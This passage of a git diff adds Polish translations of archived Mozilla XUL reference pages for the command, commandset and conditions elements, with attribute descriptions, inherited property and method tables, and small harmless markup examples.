+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/column" title="column">column</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/rows" title="rows">rows</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/row" title="row">row</a></code>.
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/command/index.html b/files/pl/mozilla/tech/xul/command/index.html
new file mode 100644
index 0000000000..b433bd3cff
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/command/index.html
@@ -0,0 +1,79 @@
+---
+title: command
+slug: Mozilla/Tech/XUL/command
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/command
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element <code>command</code> może być stosowany do przywołania operacji, która może być wywoływana z różnych miejsc. Na przykład, operacja wklejenia ze schowka może być wywołana z menu Edycja, menu kontekstowego i poprzez skrót klawiaturowy. Można dołączyć kod do elementu command poprzez atrybut <code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code>. Zostanie on wywołany bez względu na to, jak został przywołany przez użytkownika. Ponadto, wyłączanie elementu command spowoduje automatyczne wyłączenie elementów menu i skrótów klawiaturowych.
+</p><p>Polecenia są identyfikowane poprzez ich atrybut <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code>. Po dołączeniu skryptu <code><a class=" external" rel="freelink">chrome://global/content/globalOverlay.js</a></code> do okna można stosować funkcję <code>goDoCommand</code> aby wywołać dane polecenie. Stosowanie tej funkcji ma tę zaletę, że polecenie zostanie wysłane do części interfejsu użytkownika, która na nie odpowiada. Zwykle będzie to element z fokusem w danym momencie.
+</p><p>Podobnie jak element <code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code>, elementy command przekazują atrybuty do innych elementów.
+Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Polecenia">kursie XUL</a>. Zobacz także: atrybut <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>, element <code><a href="/pl/docs/Mozilla/Tech/XUL/commandset" title="commandset">commandset</a></code>
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>, <a href="#a-label">label</a>, <a href="#a-oncommand">oncommand</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Następujący kod wyśle komendę paste (<code>cmd_paste</code>) do aktualnie aktywnego elementu:
+</p>
+<pre class="eval"> goDoCommand("cmd_paste");
+</pre>
+<p>Przykład z dwoma przyciskami:
+</p>
+<pre>&lt;command id="cmd_openhelp" oncommand="alert('Help');"/&gt;
+&lt;button label="Help" command="cmd_openhelp"/&gt;
+&lt;button label="More Help" command="cmd_openhelp"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-oncommand">
+
+<dl><dt> <code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code>
+</dt><dd> Typ: <i>kod skrypt</i>
+</dd><dd> Ta funkcja obsługi zdarzenia jest wywołana w momencie aktywacji polecenia. Ma to miejsce, gdy użytkownik zaznaczy pozycję menu lub kiedy naciśnie skrót klawiaturowy przypisany do polecenia.
+</dd></dl>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/commandset/index.html b/files/pl/mozilla/tech/xul/commandset/index.html
new file mode 100644
index 0000000000..0f2441e83b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/commandset/index.html
@@ -0,0 +1,61 @@
+---
+title: commandset
+slug: Mozilla/Tech/XUL/commandset
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/commandset
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element nie jest wyświetlany; służy jako kontener dla elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>.
+</p><p>Ponadto, element ten może działać jako aktualizator poleceń, stosowany do aktualizowania stanu (włączony/wyłączony) jednego lub więcej poleceń, kiedy pewne zdarzenia mają miejsce. Powszechnym zastosowaniem aktualizatora poleceń jest aktualizacja elementów &lt;tt&gt;Wytnij&lt;/tt&gt;, &lt;tt&gt;Kopiuj&lt;/tt&gt; i &lt;tt&gt;Wklej&lt;/tt&gt; menu w momencie zaznaczenia tekstu przez użytkownika.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Aktualizacja_polece%c5%84">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty </dt><dd> <a href="#a-commandupdater">commandupdater</a>, <a href="#a-events">events</a>, <a href="#a-oncommandupdate">oncommandupdate</a>, <a href="#a-targets">targets</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;commandset&gt;
+ &lt;command id="cmd_open" oncommand="alert('Open!');"/&gt;
+ &lt;command id="cmd_help" oncommand="alert('Help!');"/&gt;
+&lt;/commandset&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-commandupdater">
+
+</div>
+<div id="a-events">
+
+</div>
+<div id="a-oncommandupdate">
+
+<dl><dt> <code id="a-oncommandupdate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommandupdate">oncommandupdate</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> To zdarzenie ma miejsce w momencie aktualizacji polecenia. Można je stosować do aktualizacji stanu wyłączenia (<code>disabled</code>) danych pozycji.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-targets">
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
diff --git a/files/pl/mozilla/tech/xul/conditions/index.html b/files/pl/mozilla/tech/xul/conditions/index.html
new file mode 100644
index 0000000000..3abcf1cc54
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/conditions/index.html
@@ -0,0 +1,93 @@
+---
+title: conditions
+slug: Mozilla/Tech/XUL/conditions
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/conditions
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element powinien zawierać się bezpośrednio wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code> i jest stosowany do definiowania warunków (conditions) dla reguł. Wewnątrz conditions można umieścić elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/content" title="content">content</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/member" title="member">member</a></code> i <code><a href="/pl/docs/Mozilla/Tech/XUL/triple" title="triple">triple</a></code>. Mogą one posiadać atrybuty, których wartością jest nazwa zmiennej rozpoczynająca się od znaku zapytania (<code>?</code>). Podczas wykonywania reguły dla konkretnego zasobu RDF, zmienne są zamieniane na wartości ze źródła. Reguła jest dopasowana, jeśli wszystkie zmienne można zamienić.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Zaawansowane_regu%c5%82y">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
